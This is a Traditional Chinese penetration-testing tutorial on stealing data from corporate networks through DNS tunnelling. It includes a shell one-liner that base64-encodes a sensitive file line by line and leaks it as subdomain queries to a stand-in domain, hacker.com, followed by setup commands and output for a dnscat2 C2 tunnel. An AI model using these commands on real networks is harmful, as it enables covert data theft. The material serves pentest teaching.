面向商業網路的資料暗渡攻防大戰。 資料暗渡,也稱為資料擠出,指的是在未經授權的情況下從電腦中轉移資料。 對於公司網路來說,這些類型的攻擊可以通過手動方式來完成,比如利用U盤;此外這種攻擊也可以通過自動的方式來進行,這時候就需要借助于網路傳輸資料。 在本文中,我們將重點介紹在滲透測試期間基於網路的資料暗渡技術,以及相應的安全加固措施。
隧道技術
作為攻擊方,我們假設自己沒有有效的域憑據。 這意味著我們不能使用公司的代理向外傳輸資料。 同時,如果我們沒有連接到互聯網,也無法洩露敏感資訊。 因此,在這種情況下,隧道技術就能發揮非常重要的作用。
隧道技術不是通過網路直接發送資料包,而是通過封裝技術在另一個(通常是加密的)連接中發送資料。 由於實際資料通過不同的協定進行網路傳輸的,因此就有機會到達互聯網。
根據使用的協定類型,隧道名稱可能會有所不同,在本文中,我們將介紹最常見的一些類型。
DNS隧道
在介紹DNS隧道之前,我們首先介紹一些非常簡單,但很重要的知識。
➜ ~ cat /etc/resolv.conf|grep -v '#'
domain acme.local
nameserver 192.168.1.1
nameserver 192.168.1.2
首先,我們必須識別出內部的DNS伺服器。 這很容易,下面將進行一些測試。 我們需要回答以下問題。
我們能否與內部DNS通信?
我們能否通過公司DNS解析內部域?
我們可以通過內部DNS解析外部域(例如:pentest.club)嗎?
我們可以直接與外部DNS通信嗎?
➜ ~ nslookup acmebank.local
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: acmebank.local
Address: 192.168.10.12
➜ ~ nslookup google.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
Name: google.com
Address: 216.58.209.14
➜ ~ nslookup pentest.blog 8.8.8.8
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: pentest.blog
Address: 104.27.169.40
Name: pentest.blog
Address: 104.27.168.40
第一個命令的結果表明,我們可以解析內部域;第二個命令的結果表明,我們可以通過公司DNS伺服器解析外部域。 這意味著我們可以實現DNS隧道,但我想提醒大家注意第3個命令。 大多數安全的網路是不允許與外部DNS進行通信的。 如果網路允許這樣做的話,這就是另外一個安全問題了,作為滲透測試人員,你必須單獨指出這個問題!
DNS隧道是如何工作的?
本文不僅提供了非常詳細的示意圖,同時,我們還會針對每個步驟進行詳細的解說。
1. 假設滲透測試人員掌控了一個域,例如hacker.com,對它具有完全的控制權。 滲透測試人員向內部DNS伺服器發送DNS請求,以解析hacker.com
2. hacker.com的權威DNS伺服器位於互聯網的其他地方。 因此,它通過防火牆將相應的請求重定向到根伺服器。
3. 經過多次重定向,DNS請求終於到達滲透測試人員掌控的功能變數名稱hacker.com的權威DNS伺服器。
4. 由於這個請求是由滲透測試人員生成的,因此回應是什麼並不重要。
5. 該回應到達內部DNS伺服器
6. 最後,滲透測試人員將會收到該回應。
這個過程,實際上可以用來跟公司網路外部的伺服器進行通信。 到目前為止,我們只是找到了一種與外部伺服器通信方式。 但是,下面開始介紹如何進行資料滲透。 同時,我們假設獲得了如下所示的一些敏感性資料。
➜ ~ cat sensitive.txt
Alice
Bob
John
同時,我們想通過網路把這些機密洩露出去,儘管這些網路的設置是相對安全的。
1
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
上面的shell命令將逐行讀取包含敏感資訊的檔。 然後,對每行內容進行base64編碼。 然後,在DNS查詢期間將其用作子域。 這樣,一旦查詢到達hacker.com的權威DNS伺服器,我們就可以捕獲相應的DNS日誌,通過解析日誌可以獲得子域,從而得到相應的敏感性資料。 這種技術非常有用,但它有以下限制。
這是一種單向通信。 我們不能從C2(權威DNS)發回命令
雖然讀取檔非常容易,但是如果需要處理100MB資料時,將會發生什麼情況? DNS資料包可能會以不同的順序到達。
因此,我們需要一個解決所有問題的工具。 幸運的是,我們借助于dnscat2。
如何配置和使用Dnscat2?
Dnscat2提供了用戶端和伺服器應用程式。 下面是構建一個DNS2伺服器所需的命令。
~ git clone HTTPs://github.com/iagox86/dnscat2.git
~ cd dnscat2/server/
~ gem install bundler
~ bundle install
下面是在公司網路上面安裝用戶端程式所需的具體命令。
root@pentest:~# git clone HTTPs://github.com/iagox86/dnscat2.git
root@pentest:~# cd dnscat2/client/
root@pentest:dnscat2/client/# make
一切準備就緒之後,現在我們就可以啟動Dnscat2伺服器了,具體命令如下所示。
root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = opendns.online]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3
Of course, you have to figure out yourself! Clients
will connect directly on UDP port 53.
opendns.online是處於滲透測試人員控制之下的一個功能變數名稱。 此外,重要的一點是讓權威DNS伺服器為opendns.online生成一個金鑰。 這個金鑰將以「共用秘密」的方式,用於對隧道期間的通信進行加密。 除此之外,dnscat還提供了兩種不同的用戶端命令。 即使你能夠向外部伺服器發送DNS查詢,也不要忘記大多數安全網路是不允許任何人使用外部DNS服務的。